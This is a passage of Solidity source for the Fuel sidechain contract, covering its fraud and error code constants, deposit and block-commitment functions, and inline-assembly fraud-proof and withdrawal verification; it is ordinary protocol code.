tokens) public returns (bool success); // EVENTS event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract FuelConstants { // CONSTANTS uint256 constant public BOND_SIZE = .1 ether; // required for block commitment uint256 constant public FINALIZATION_DELAY = 7 days / 12; // ~ 1 weeks at 12 second block times uint256 constant public SUBMISSION_DELAY = uint256(2 days) / 12; // ~ 2 day (should be 2 days) in Ethereum Blocks uint256 constant public CLOSING_DELAY = uint256(90 days) / 12; // (should be 2 months) uint256 constant public MAX_TRANSACTIONS_SIZE = 58823; uint256 constant public TRANSACTION_ROOTS_MAX = 256; // ASSEMBLY ONLY FRAUD CODES uint256 constant FraudCode_InvalidMetadataBlockHeight = 0; uint256 constant FraudCode_TransactionHashZero = 1; uint256 constant FraudCode_TransactionIndexOverflow = 2; uint256 constant FraudCode_MetadataOutputIndexOverflow = 3; uint256 constant FraudCode_InvalidUTXOHashReference = 4; uint256 constant FraudCode_InvalidReturnWitnessNotSpender = 5; uint256 constant FraudCode_InputDoubleSpend = 6; uint256 constant FraudCode_InvalidMerkleTreeRoot = 7; uint256 constant FraudCode_MetadataBlockHeightUnderflow = 8; uint256 constant FraudCode_MetadataBlockHeightOverflow = 9; uint256 constant FraudCode_InvalidHTLCDigest = 10; uint256 constant FraudCode_TransactionLengthUnderflow = 11; uint256 constant FraudCode_TransactionLengthOverflow = 12; uint256 constant FraudCode_InvalidTransactionInputType = 13; uint256 constant FraudCode_TransactionOutputWitnessReferenceOverflow = 14; uint256 constant FraudCode_InvalidTransactionOutputType = 15; uint256 constant FraudCode_TransactionSumMismatch = 16; uint256 constant FraudCode_TransactionInputWitnessReferenceOverflow = 17; uint256 constant FraudCode_TransactionInputDepositZero = 18; uint256 constant FraudCode_TransactionInputDepositWitnessOverflow = 19; uint256 constant FraudCode_TransactionHTLCWitnessOverflow = 20; uint256 constant FraudCode_TransactionOutputAmountLengthUnderflow = 21; uint256 constant FraudCode_TransactionOutputAmountLengthOverflow = 22; uint256 constant FraudCode_TransactionOutputTokenIDOverflow = 23; uint256 constant FraudCode_TransactionOutputHTLCDigestZero = 24; uint256 constant FraudCode_TransactionOutputHTLCExpiryZero = 25; uint256 constant FraudCode_InvalidTransactionWitnessSignature = 26; uint256 constant FraudCode_TransactionWitnessesLengthUnderflow = 27; uint256 constant FraudCode_TransactionWitnessesLengthOverflow = 28; uint256 constant FraudCode_TransactionInputsLengthUnderflow = 29; uint256 constant FraudCode_TransactionInputsLengthOverflow = 30; uint256 constant FraudCode_TransactionOutputsLengthUnderflow = 31; uint256 constant FraudCode_TransactionOutputsLengthOverflow = 32; uint256 constant FraudCode_TransactionMetadataLengthOverflow = 33; uint256 constant FraudCode_TransactionInputSelectorOverflow = 34; uint256 constant FraudCode_TransactionOutputSelectorOverflow = 35; uint256 constant FraudCode_TransactionWitnessSelectorOverflow = 37; uint256 constant FraudCode_TransactionUTXOType = 38; uint256 constant FraudCode_TransactionUTXOOutputIndexOverflow = 39; uint256 constant FraudCode_InvalidTransactionsNetLength = 40; uint256 constant FraudCode_MetadataTransactionsRootsLengthOverflow = 41; uint256 constant FraudCode_ComputedTransactionLengthOverflow = 42; uint256 constant FraudCode_ProvidedDataOverflow = 43; uint256 constant FraudCode_MetadataReferenceOverflow = 44; uint256 constant FraudCode_OutputHTLCExpiryUnderflow = 45; uint256 constant FraudCode_InvalidInputWithdrawalSpend = 46; uint256 constant FraudCode_InvalidTypeReferenceMismatch = 47; uint256 constant FraudCode_InvalidChangeInputSpender = 48; uint256 constant FraudCode_InvalidTransactionRootIndexOverflow = 49; // ASSEMBLY ONLY ERROR CODES uint256 constant ErrorCode_InvalidTypeDeposit = 0; uint256 constant ErrorCode_InputReferencedNotProvided = 1; uint256 constant ErrorCode_InvalidReturnWitnessSelected = 2; uint256 constant ErrroCode_InvalidReturnWitnessAddressEmpty = 3; uint256 constant ErrroCode_InvalidSpenderWitnessAddressEmpty = 4; uint256 constant ErrorCode_InvalidTransactionComparison = 5; uint256 constant ErrorCode_WithdrawalAlreadyHappened = 6; uint256 constant ErrorCode_BlockProducerNotCaller = 7; uint256 constant ErrorCode_BlockBondAlreadyWithdrawn = 8; uint256 constant ErrorCode_InvalidProofType = 9; uint256 constant ErrorCode_BlockHashNotFound = 10; uint256 constant ErrorCode_BlockHeightOverflow = 11; uint256 constant ErrorCode_BlockHeightUnderflow = 12; uint256 constant ErrorCode_BlockNotFinalized = 13; uint256 constant ErrorCode_BlockFinalized = 14; uint256 constant ErrorCode_TransactionRootLengthUnderflow = 15; uint256 constant ErrorCode_TransactionRootIndexOverflow = 16; uint256 constant ErrorCode_TransactionRootHashNotInBlockHeader = 17; uint256 constant ErrorCode_TransactionRootHashInvalid = 18; uint256 constant ErrorCode_TransactionLeafHashInvalid = 19; uint256 constant ErrorCode_MerkleTreeHeightOverflow = 20; uint256 constant ErrorCode_MerkleTreeRootInvalid = 21; uint256 constant ErrorCode_InputIndexSelectedOverflow = 22; uint256 constant ErrorCode_OutputIndexSelectedOverflow = 23; uint256 constant ErrorCode_WitnessIndexSelectedOverflow = 24; uint256 constant ErrorCode_TransactionUTXOIDInvalid = 25; uint256 constant ErrorCode_FraudBlockHeightUnderflow = 26; uint256 constant ErrorCode_FraudBlockFinalized = 27; uint256 constant ErrorCode_SafeMathAdditionOverflow = 28; uint256 constant ErrorCode_SafeMathSubtractionUnderflow = 29; uint256 constant ErrorCode_SafeMathMultiplyOverflow = 30; uint256 constant ErrorCode_TransferAmountUnderflow = 31; uint256 constant ErrorCode_TransferOwnerInvalid = 32; uint256 constant ErrorCode_TransferTokenIDOverflow = 33; uint256 constant ErrorCode_TransferEtherCallResult = 34; uint256 constant ErrorCode_TransferERC20Result = 35; uint256 constant ErrorCode_TransferTokenAddress = 36; uint256 constant ErrorCode_InvalidPreviousBlockHash = 37; uint256 constant ErrorCode_TransactionRootsLengthUnderflow = 38; uint256 constant ErrorCode_TransactionRootsLengthOverflow = 39; uint256 constant ErrorCode_InvalidWithdrawalOutputType = 40; uint256 constant ErrorCode_InvalidWithdrawalOwner = 41; uint256 constant ErrorCode_InvalidDepositProof = 42; uint256 constant ErrorCode_InvalidTokenAddress = 43; uint256 constant ErrorCode_InvalidBlockHeightReference = 44; uint256 constant ErrorCode_InvalidOutputIndexReference = 45; uint256 constant ErrorCode_InvalidTransactionRootReference = 46; uint256 constant ErrorCode_InvalidTransactionIndexReference = 47; uint256 constant ErrorCode_ProofLengthOverflow = 48; uint256 constant ErrorCode_InvalidTransactionsABILengthOverflow = 49; // ASSEMBLY ONLY CONSTANTS // Memory Layout * 32 // 0 -> 12 Swap for hashing, ecrecover, events data etc] // 12 -> 44 Virtual Stack Memory (stack and swap behind writeable calldata for safety) // 44 -> calldatasize() Calldata // 44 + calldatasize() Free Memory // Calldata Memory Position uint256 constant Swap_MemoryPosition = 0 * 32; // Swap -> 12 uint256 constant Stack_MemoryPosition = 12 * 32; // Virtual Stack -> 44 uint256 constant Calldata_MemoryPosition = 44 * 32; // Calldata // Length and Index max/min for Inputs, Outputs, Witnesses, Metadata uint256 constant TransactionLengthMax = 8; uint256 constant TransactionLengthMin = 0; // Metadata, Witness and UTXO Proof Byte Size, Types and Lengths etc.. uint256 constant MetadataSize = 8; uint256 constant WitnessSize = 65; uint256 constant UTXOProofSize = 9 * 32; uint256 constant DepositProofSize = 96; uint256 constant TypeSize = 1; uint256 constant LengthSize = 1; uint256 constant TransactionLengthSize = 2; uint256 constant DigestSize = 32; uint256 constant ExpirySize = 4; uint256 constant IndexSize = 1; // Booleans uint256 constant True = 1; uint256 constant False = 0; // Minimum and Maximum transaction byte length uint256 constant TransactionSizeMinimum = 100; uint256 constant TransactionSizeMaximum = 800; // Maximum Merkle Tree Height uint256 constant MerkleTreeHeightMaximum = 256; // Select maximum number of transactions that can be included in a Side Chain block uint256 constant MaxTransactionsInBlock = 2048; // Ether Token Address (u256 chunk for assembly usage == address(0)) uint256 constant EtherToken = 0; // Genesis Block Height uint256 constant GenesisBlockHeight = 0; // 4 i.e. (1) Input / (2) Output / (3) Witness Selection / (4) Metadata Selection uint256 constant SelectionStackOffsetSize = 4; // Topic Hashes uint256 constant WithdrawalEventTopic = 0x782748bc04673eff1ae34a02239afa5a53a83abdfa31d65d7eea2684c4b31fe4; uint256 constant FraudEventTopic = 0x62a5229d18b497dceab57b82a66fb912a8139b88c6b7979ad25772dc9d28ddbd; // ASSEMBLY ONLY ENUMS // Method Enums uint256 constant Not_Finalized = 0; uint256 constant Is_Finalized = 1; uint256 constant Include_UTXOProofs = 1; uint256 constant No_UTXOProofs = 0; uint256 constant FirstProof = 0; uint256 constant SecondProof = 1; uint256 constant OneProof = 1; uint256 constant TwoProofs = 2; // Input Types Enums uint256 constant InputType_UTXO = 0; uint256 constant InputType_Deposit = 1; uint256 constant InputType_HTLC = 2; uint256 constant InputType_Change = 3; // Input Sizes uint256 constant InputSizes_UTXO = 33; uint256 constant InputSizes_Change = 33; uint256 constant InputSizes_Deposit = 33; uint256 constant InputSizes_HTLC = 65; // Output Types Enums uint256 constant OutputType_UTXO = 0; uint256 constant OutputType_withdrawal = 1; uint256 constant OutputType_HTLC = 2; uint256 constant OutputType_Change = 3; // ASSEMBLY ONLY MEMORY STACK POSITIONS uint256 constant Stack_InputsSum = 0; uint256 constant Stack_OutputsSum = 1; uint256 constant Stack_Metadata = 2; uint256 constant Stack_BlockTip = 3; uint256 constant Stack_UTXOProofs = 4; uint256 constant Stack_TransactionHashID = 5; uint256 constant Stack_BlockHeader = 6; uint256 constant Stack_RootHeader = 19; uint256 constant Stack_SelectionOffset = 7; uint256 constant Stack_Index = 28; uint256 constant Stack_SummingTokenID = 29; uint256 constant Stack_SummingToken = 30; // Selection Stack Positions (Comparison Proof Selections) uint256 constant Stack_MetadataSelected = 8; uint256 constant Stack_SelectedInputLength = 9; uint256 constant Stack_OutputSelected = 10; uint256 constant Stack_WitnessSelected = 11; uint256 constant Stack_MetadataSelected2 = 12; uint256 constant Stack_SelectedInputLength2 = 13; uint256 constant Stack_OutputSelected2 = 14; uint256 constant Stack_WitnessSelected2 = 15; uint256 constant Stack_RootProducer = 16; uint256 constant Stack_Witnesses = 17; uint256 constant Stack_MerkleProofLeftish = 23; uint256 constant Stack_ProofNumber = 25; uint256 constant Stack_FreshMemory = 26; uint256 constant Stack_MetadataLength = 31; // Storage Positions (based on Solidity compilation) uint256 constant Storage_deposits = 0; uint256 constant Storage_withdrawals = 1; uint256 constant Storage_blockTransactionRoots = 2; uint256 constant Storage_blockCommitments = 3; uint256 constant Storage_tokens = 4; uint256 constant Storage_numTokens = 5; uint256 constant Storage_blockTip = 6; uint256 constant Storage_blockProducer = 7; } contract Fuel is FuelConstants, DSMath { // EVENTS event DepositMade(address indexed account, address indexed token, uint256 amount); event WithdrawalMade(address indexed account, address token, uint256 amount, uint256 indexed blockHeight, uint256 transactionRootIndex, bytes32 indexed transactionLeafHash, uint8 outputIndex, bytes32 transactionHashId); event TransactionsSubmitted(bytes32 indexed transactionRoot, address producer, bytes32 indexed merkleTreeRoot, bytes32 indexed commitmentHash); event BlockCommitted(address blockProducer, bytes32 indexed previousBlockHash, uint256 indexed blockHeight, bytes32[] transactionRoots); event FraudCommitted(uint256 indexed previousTip, uint256 indexed currentTip, uint256 indexed fraudCode); event TokenIndex(address indexed token, uint256 indexed index); // STATE STORAGE // depositHashID => amount [later clearable in deposit] sload(keccak256(0, 64) + 5) mapping(bytes32 => uint256) public deposits; // STORAGE 0 // block height => withdrawal id => bool(has been withdrawn) [later clearable in withdraw] // lets treat block withdrawals as tx hash bytes(0) output (0) mapping(uint256 => mapping(bytes32 => bool)) public withdrawals; // STORAGE 1 // transactions hash => Ethereum block number included [later clearable in withdraw] mapping(bytes32 => uint256) public blockTransactionRoots; // STORAGE 2 // blockNumber => blockHash all block commitment hash headers Mapping actually better than array IMO, use tip as len mapping(uint256 => bytes32) public blockCommitments; // STORAGE 3 // tokens address => token ID number mapping(address => uint256) public tokens; // STORAGE 4 // number of tokens (1 for Ether ID 0) uint256 public numTokens = 1; // STORAGE 5 // the current side-chain block height/tip [changed in commitBlock / submitFraudProof] uint256 public blockTip; // STORAGE 6 // block producer (set to zero for permissionless, must be account) [changed in constructor / submitFraudProof] address public blockProducer; // STORAGE 7 // CONSTRUCTOR constructor(address producer) public { // compute genesis block hash address genesisProducer = address(0); // TODO low-priority set a clever previous block hash bytes32 previousBlockHash = bytes32(0); uint256 blockHeight = uint256(0); bytes32[] memory transactionRoots; bytes32 genesisBlockHash = keccak256(abi.encode(genesisProducer, previousBlockHash, blockHeight, GenesisBlockHeight, transactionRoots)); // STORAGE commit the genesis block hash header to storage as Zero block.. blockCommitments[GenesisBlockHeight] = genesisBlockHash; // STORAGE setup block producer blockProducer = producer; // Setup Ether token index emit TokenIndex(address(0), 1); // LOG emit all pertinent details of the Genesis block emit BlockCommitted(genesisProducer, previousBlockHash, blockHeight, transactionRoots); } // STATE Changing Methods function deposit(address account, address token, uint256 amount) external payable { // Compute deposit hash Identifier bytes32 depositHashId = keccak256(abi.encode(account, token, block.number)); // Assert amount is greater than Zero assert(amount > 0); // Handle transfer details if (token != address(0)) { assert(ERC20(token).allowance(msg.sender, address(this)) >= amount); // check allowance assert(ERC20(token).transferFrom(msg.sender, address(this), amount)); // transferFrom } else { assert(msg.value == amount); // commit ether transfer } // register token with an index if it isn't already if (token != address(0) && tokens[token] == 0) { // STORAGE register token with index tokens[token] = numTokens; // STORAGE MOD increase token index numTokens = ds_add(numTokens, 1); // LOG emit token registry index emit TokenIndex(token, numTokens); } // STORAGE notate deposit in storage deposits[depositHashId] = ds_add(deposits[depositHashId], amount); // Log essential deposit details emit DepositMade(account, token, amount); } function submitTransactions(bytes32 merkleTreeRoot, bytes calldata transactions) external { // require the sender is not a contract assembly { // Require if caller/msg.sender is a contract if gt(extcodesize(caller()), 0) { revert(0, 0) } // Calldata Max size enforcement (4m / 68) if gt(calldatasize(), MAX_TRANSACTIONS_SIZE) { revert(0, 0) } } // Commitment hash bytes32 commitmentHash = keccak256(transactions); // Construct Transaction Root Hash bytes32 transactionRoot = keccak256(abi.encode(msg.sender, merkleTreeRoot, commitmentHash)); // Assert this transactions blob cannot already exist assert(blockTransactionRoots[transactionRoot] == 0); // STORAGE notate transaction root in storage at a specified Ethereum block blockTransactionRoots[transactionRoot] = block.number; // LOG Transaction submitted, the original data emit TransactionsSubmitted(transactionRoot, msg.sender, merkleTreeRoot, commitmentHash); } function commitBlock(uint256 blockHeight, bytes32[] calldata transactionRoots) external payable { bytes32 previousBlockHash = blockCommitments[blockTip]; bytes32 blockHash = keccak256(abi.encode(msg.sender, previousBlockHash, blockHeight, block.number, transactionRoots)); // Assert require value be bond size assert(msg.value == BOND_SIZE); // Assert at least one root submission assert(transactionRoots.length > 0); // Assert at least one root submission assert(transactionRoots.length < TRANSACTION_ROOTS_MAX); // Assert the transaction roots exists for (uint256 transactionRootIndex = 0; transactionRootIndex < transactionRoots.length; transactionRootIndex = ds_add(transactionRootIndex, 1)) { // Transaction Root must Exist in State assert(blockTransactionRoots[transactionRoots[transactionRootIndex]] > 0); // add root expiry here.. // Assert transaction root is younger than 3 days, and block producer set, than only block producer can make the block if (block.number < ds_add(blockTransactionRoots[transactionRoots[transactionRootIndex]], SUBMISSION_DELAY) && blockProducer != address(0)) { assert(msg.sender == blockProducer); } } // Require block height must be 1 ahead of tip REVERT nicely (be forgiving) require(blockHeight == ds_add(blockTip, 1)); // STORAGE write block hash commitment to storage blockCommitments[blockHeight] = blockHash; // STORAGE set new block tip blockTip = blockHeight; // LOG emit all pertinant details in Log Data emit BlockCommitted(msg.sender, previousBlockHash, blockHeight, transactionRoots); } // Submit Fraud or withdrawal proofs (i.e. Implied Consensus Rule Enforcement) function submitProof(bytes calldata) external payable { assembly { // Assign all calldata into free memory, remove 4 byte signature and 64 bytes size/length data (68 bytes) // Note, We only write data to memory once, than reuse it for almost every function for better computational efficiency calldatacopy(Calldata_MemoryPosition, 68, calldatasize()) // Assign fresh memory pointer to Virtual Stack mpush(Stack_FreshMemory, add3(Calldata_MemoryPosition, calldatasize(), mul32(2))) // Handle Proof Type switch selectProofType() case 0 { // ProofType_MalformedBlock verifyBlockProof() } case 1 { // ProofType_MalformedTransaction // Check proof lengths for overflow verifyTransactionProofLengths(OneProof) // Verify Malformed Transaction Proof verifyTransactionProof(FirstProof, No_UTXOProofs, Not_Finalized) } case 2 { // ProofType_InvalidTransaction // Check proof lengths for overflow verifyTransactionProofLengths(OneProof) // Check for Invalid Transaction Sum Amount Totals // Check for HTLC Data Construction / Witness Signature Specification verifyTransactionProof(FirstProof, Include_UTXOProofs, Not_Finalized) } case 3 { // ProofType_InvalidTransactionInput // Check proof lengths for overflow verifyTransactionProofLengths(TwoProofs) // Check for Invalid UTXO Reference (i.e. Reference a UTXO that does not exist or is Invalid!) verifyTransactionProof(FirstProof, No_UTXOProofs, Not_Finalized) // Fraud Tx verifyTransactionProof(SecondProof, No_UTXOProofs, Not_Finalized) // Valid Tx // Select Input Type let firstInputType := selectInputType(selectInputSelected(FirstProof)) // Assert fraud input is not a Deposit Type (deposits are checked in verifyTransactionProof) assertOrInvalidProof(iszero(eq(firstInputType, InputType_Deposit)), ErrorCode_InvalidTypeDeposit) // Fraud Tx 0 Proof: Block Height, Root Index, Tx Index Selected by Metadata let firstMetadataBlockHeight, firstMetadataTransactionRootIndex, firstMetadataTransactionIndex, firstMetadataOutputIndex := selectMetadata( selectMetadataSelected(FirstProof)) // Ensure block heights are the same Metadata Block Height = Second Proof Block Height assertOrInvalidProof(eq(firstMetadataBlockHeight, selectBlockHeight(selectBlockHeader(SecondProof))), ErrorCode_InvalidBlockHeightReference) // Check transaction root index overflow Metadata Roots Index < Second Proof Block Roots Length assertOrFraud(lt(firstMetadataTransactionRootIndex, selectTransactionRootsLength(selectBlockHeader(SecondProof))), FraudCode_InvalidTransactionRootIndexOverflow) // Check transaction roots assertOrInvalidProof(eq(firstMetadataTransactionRootIndex, selectTransactionRootIndex(selectTransactionRoot(SecondProof))), ErrorCode_InvalidTransactionRootReference) // Check transaction index overflow // Second Proof is Leftish (false if Rightmost Leaf in Merkle Tree!) let secondProofIsLeftish := mstack(Stack_MerkleProofLeftish) // Enforce transactionIndexOverflow assertOrFraud(or( secondProofIsLeftish, lte(firstMetadataTransactionIndex, selectTransactionIndex(selectTransactionData(SecondProof))) // Or is most right! ), FraudCode_TransactionIndexOverflow) // Check transaction index assertOrInvalidProof(eq(firstMetadataTransactionIndex, selectTransactionIndex(selectTransactionData(SecondProof))), ErrorCode_InvalidTransactionIndexReference) // Check that second transaction isn't empty assertOrFraud(gt(constructTransactionLeafHash(selectTransactionData(SecondProof)), 0), FraudCode_TransactionHashZero) // Select Lengths and Use Them as Indexes (let Index = Length; lt; Index--) let transactionLeafData, inputsLength, secondOutputsLength, witnessesLength := selectAndVerifyTransactionDetails(selectTransactionData(SecondProof)) // Check output selection overflow assertOrFraud(lt(firstMetadataOutputIndex, secondOutputsLength), FraudCode_MetadataOutputIndexOverflow) // Second output index let secondOutputIndex := selectOutputIndex(selectTransactionData(SecondProof)) // Check outputs are the same assertOrInvalidProof(eq(firstMetadataOutputIndex, secondOutputIndex), ErrorCode_InvalidOutputIndexReference) // Select second output let secondOutput := selectOutputSelected(SecondProof) let secondOutputType := selectOutputType(secondOutput) // Check output is not spending withdrawal assertOrFraud(iszero(eq(secondOutputType, OutputType_withdrawal)), FraudCode_InvalidInputWithdrawalSpend) // Invalid Type Spend assertOrFraud(eq(firstInputType, secondOutputType), FraudCode_InvalidTypeReferenceMismatch) // Construct second transaction hash id let secondTransactionHashID := constructTransactionHashID(selectTransactionData(SecondProof)) // Construct Second UTXO ID Proof let secondUTXOProof := constructUTXOProof(secondTransactionHashID, selectOutputIndex(selectTransactionData(SecondProof)), selectOutputSelected(SecondProof)) let secondUTXOID := constructUTXOID(secondUTXOProof) // Select first UTXO ID let firstUTXOID := selectUTXOID(selectInputSelected(FirstProof)) // Check UTXOs are the same assertOrFraud(eq(firstUTXOID, secondUTXOID), FraudCode_InvalidUTXOHashReference) // Handle Change Input Enforcement if eq(selectOutputType(secondOutput), OutputType_Change) { // Output HTLC let length, amount, ownerAsWitnessIndex, tokenID := selectAndVerifyOutput(secondOutput, True) // Return Witness Recovery // Return Witness Signature let outputWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(SecondProof)), ownerAsWitnessIndex) // Construct Second Transaction Hash ID let outputTransactionHashID := constructTransactionHashID(selectTransactionData(SecondProof)) // Get Witness Signature let outputWitnessAddress := ecrecoverPacked(outputTransactionHashID, outputWitnessSignature) // Spender Witness Recovery // Select First Proof Witness Index from Input let unused1, unused2, spenderWitnessIndex := selectAndVerifyInputUTXO(selectInputSelected(FirstProof), TransactionLengthMax) // Spender Witness Signature let spenderWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(FirstProof)), spenderWitnessIndex) // Construct First Tx ID let spenderTransactionHashID := constructTransactionHashID(selectTransactionData(FirstProof)) // Spender Witness Address let spenderWitnessAddress := ecrecoverPacked(spenderTransactionHashID, spenderWitnessSignature) // Assert Spender must be Output Witness assertOrFraud(eq(spenderWitnessAddress, outputWitnessAddress), FraudCode_InvalidChangeInputSpender) } // Handle HTLC Input Enforcement if eq(selectOutputType(secondOutput), OutputType_HTLC) { // Output HTLC let length, amount, owner, tokenID, digest, expiry, returnWitnessIndex := selectAndVerifyOutputHTLC(secondOutput, TransactionLengthMax) // Handle Is HTLC Expired, must be returnWitness if gte(selectBlockHeight(selectBlockHeader(FirstProof)), expiry) { // Return Witness Recovery // Return Witness Signature let returnWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(SecondProof)), returnWitnessIndex) // Construct Second Transaction Hash ID let returnTransactionHashID := constructTransactionHashID(selectTransactionData(SecondProof)) // Get Witness Signature let returnWitnessAddress := ecrecoverPacked(returnTransactionHashID, returnWitnessSignature) // Spender Witness Recovery // Select First Proof Witness Index from Input let unused1, unused2, inputWitnessIndex, preImage := selectAndVerifyInputHTLC(selectInputSelected(FirstProof), TransactionLengthMax) // Spender Witness Signature let spenderWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(FirstProof)), inputWitnessIndex) // Construct First Tx ID let spenderTransactionHashID := constructTransactionHashID(selectTransactionData(FirstProof)) // Spender Witness Address let spenderWitnessAddress := ecrecoverPacked(spenderTransactionHashID, spenderWitnessSignature) // Assert Spender must be Return Witness! assertOrFraud(eq(spenderWitnessAddress, returnWitnessAddress), FraudCode_InvalidReturnWitnessNotSpender) } } } case 4 { // ProofType_InvalidTransactionDoubleSpend // Check proof lengths for overflow verifyTransactionProofLengths(TwoProofs) // Check for Invalid Transaction Double Spend (Same Input Twice) verifyTransactionProof(FirstProof, No_UTXOProofs, Not_Finalized) // Accused Fraud Tx verifyTransactionProof(SecondProof, No_UTXOProofs, Not_Finalized) // Valid Tx // Get transaction data zero and 1 let transaction0 := selectTransactionData(FirstProof) let transaction1 := selectTransactionData(SecondProof) // Block Height Difference let blockHeightDifference := iszero(eq(selectBlockHeight(selectBlockHeader(FirstProof)), selectBlockHeight(selectBlockHeader(SecondProof)))) // Transaction Root Difference let transactionRootIndexDifference := iszero(eq(selectTransactionRootIndex(selectTransactionRoot(FirstProof)), selectTransactionRootIndex(selectTransactionRoot(SecondProof)))) // Transaction Index Difference let transactionIndexDifference := iszero(eq(selectTransactionIndex(transaction0), selectTransactionIndex(transaction1))) // Transaction Input Index Difference let transactionInputIndexDifference := iszero(eq(selectInputIndex(transaction0), selectInputIndex(transaction1))) // Check that the transactions are different assertOrInvalidProof(or( or(blockHeightDifference, transactionRootIndexDifference), or(transactionIndexDifference, transactionInputIndexDifference) // Input Index is Different ), ErrorCode_InvalidTransactionComparison) // Assert Inputs are Different OR FRAUD Double Spend! assertOrFraud(iszero(eq(selectInputSelectedHash(FirstProof), selectInputSelectedHash(SecondProof))), FraudCode_InputDoubleSpend) } case 5 { // ProofType_UserWithdrawal // Check proof lengths for overflow verifyTransactionProofLengths(OneProof) // Verify transaction proof verifyTransactionProof(FirstProof, No_UTXOProofs, Is_Finalized) // Run the withdrawal Sequence let output := selectOutputSelected(FirstProof) let length, outputAmount, outputOwner, outputTokenID := selectAndVerifyOutput(output, False) // Check Proof Type is Correct assertOrInvalidProof(eq(selectOutputType(output), 1), ErrorCode_InvalidWithdrawalOutputType) // Check Proof Type is Correct assertOrInvalidProof(eq(outputOwner, caller()), ErrorCode_InvalidWithdrawalOwner) // Get transaction details let transactionRootIndex := selectTransactionRootIndex(selectTransactionRoot(FirstProof)) let transactionLeafHash := constructTransactionLeafHash(selectTransactionData(FirstProof)) let outputIndex := selectOutputIndex(selectTransactionData(FirstProof)) let blockHeight := selectBlockHeight(selectBlockHeader(FirstProof)) // Construct withdrawal hash id let withdrawalHashID := constructWithdrawalHashID(transactionRootIndex, transactionLeafHash, outputIndex) // This output has not been withdrawn yet! assertOrInvalidProof(eq(getWithdrawals(blockHeight, withdrawalHashID), False), ErrorCode_WithdrawalAlreadyHappened) // withdrawal Token let withdrawalToken := selectWithdrawalToken(FirstProof) // Transfer amount out transfer(outputAmount, outputTokenID, withdrawalToken, outputOwner) // Set withdrawals setWithdrawals(blockHeight, withdrawalHashID, True) // Construct Log Data for withdrawal mstore(mul32(1), withdrawalToken) mstore(mul32(2), outputAmount) mstore(mul32(3), transactionRootIndex) mstore(mul32(4), outputIndex) mstore(mul32(5), constructTransactionHashID(selectTransactionData(FirstProof))) // add transactionHash // Log withdrawal data and topics log4(mul32(1), mul32(5), WithdrawalEventTopic, outputOwner, blockHeight, transactionLeafHash) } case 6 { // ProofType_BondWithdrawal // Select proof block header let blockHeader := selectBlockHeader(FirstProof) // Setup block producer withdrawal hash ID (i.e. Zero) let withdrawalHashID := 0 // Transaction Leaf Hash (bond withdrawal hash is zero) let transactionLeafHash := 0 // Block Producer let blockProducer := caller() // block height let blockHeight := selectBlockHeight(blockHeader) // Verify block header proof is finalized! verifyBlockHeader(blockHeader, Is_Finalized) // Assert Caller is Block Producer assertOrInvalidProof(eq(selectBlockProducer(blockHeader), blockProducer), ErrorCode_BlockProducerNotCaller) // Assert Block Bond withdrawal has not been Made! assertOrInvalidProof(eq(getWithdrawals(blockHeight, withdrawalHashID), False), ErrorCode_BlockBondAlreadyWithdrawn) // Transfer Bond Amount back to Block Producer transfer(BOND_SIZE, EtherToken, EtherToken, blockProducer) // Set withdrawal setWithdrawals(blockHeight, withdrawalHashID, True) // Construct Log Data for withdrawal mstore(mul32(1), EtherToken) mstore(mul32(2), BOND_SIZE) mstore(mul32(3), 0) mstore(mul32(4), 0) // Log withdrawal data and topics log4(mul32(1), mul32(4), WithdrawalEventTopic, blockProducer, blockHeight, transactionLeafHash) } // Invalid Proof Type default { assertOrInvalidProof(0, ErrorCode_InvalidProofType) } // Ensure Execution Stop stop() // // VERIFICATION METHODS // For verifying proof data and determine fraud or validate withdrawals // // Verify Invalid Block Proof function verifyBlockProof() { /* Block Construction Proof: - Type - Lengths - BlockHeader - TransactionRootHeader - TransactionRootData */ // Start Proof Position past Proof Type let proofMemoryPosition := safeAdd(Calldata_MemoryPosition, mul32(1)) // Select Proof Lengths let blockHeaderLength := load32(proofMemoryPosition, 0) let transactionRootLength := load32(proofMemoryPosition, 1) let transactionsLength := load32(proofMemoryPosition, 2) // Verify the Lengths add up to calldata size verifyProofLength(add4(mul32(3), blockHeaderLength, transactionRootLength, transactionsLength)) // Select Proof Memory Positions let blockHeader := selectBlockHeader(FirstProof) let transactionRoot := selectTransactionRoot(FirstProof) // Transactions are After Transaction Root, Plus 64 Bytes (for bytes type metadata from ABI Encoding) let transactions := safeAdd(transactionRoot, transactionRootLength) // Verify Block Header verifyBlockHeader(blockHeader, Not_Finalized) // Verify Transaction Root Header verifyTransactionRootHeader(blockHeader, transactionRoot) // Get solidity abi encoded length for transactions blob let transactionABILength := selectTransactionABILength(transactions) // Check for overflow assertOrInvalidProof(lt(transactionABILength, transactionsLength), ErrorCode_InvalidTransactionsABILengthOverflow) // Verify Transaction Hash Commitment verifyTransactionRootData(transactionRoot, selectTransactionABIData(transactions), transactionABILength) } // Verify proof length for overflows function verifyProofLength(proofLengthWithoutType) { let calldataMetadataSize := 68 let typeSize := mul32(1) let computedCalldataSize := add3(calldataMetadataSize, typeSize, proofLengthWithoutType) // Check for overflow assertOrInvalidProof(eq(computedCalldataSize, calldatasize()), ErrorCode_ProofLengthOverflow) } // Verify Block Header function verifyBlockHeader(blockHeader, assertFinalized) { /* - Block Header: - blockProducer [32 bytes] -- padded address - previousBlockHash [32 bytes] - blockHeight [32 bytes] - ethereumBlockNumber [32 bytes] - transactionRoots [64 + dynamic bytes] */ // Construct blockHash from Block Header let blockHash := constructBlockHash(blockHeader) // Select BlockHeight from Memory let blockHeight := selectBlockHeight(blockHeader) // Previous block hash let previousBlockHash := selectPreviousBlockHash(blockHeader) // Transaction Roots Length let transactionRootsLength := selectTransactionRootsLength(blockHeader) // Assert Block is not Genesis assertOrInvalidProof(gt(blockHeight, GenesisBlockHeight), ErrorCode_BlockHeightUnderflow) // Assert Block Height is Valid (i.e. before tip) assertOrInvalidProof(lte(blockHeight, getBlockTip()), ErrorCode_BlockHeightOverflow) // Assert Previous Block Hash assertOrInvalidProof(eq(getBlockCommitments(safeSub(blockHeight, 1)), previousBlockHash), ErrorCode_InvalidPreviousBlockHash) // Transactions roots length underflow assertOrInvalidProof(gt(transactionRootsLength, 0), ErrorCode_TransactionRootsLengthUnderflow) // Assert Block Commitment Exists 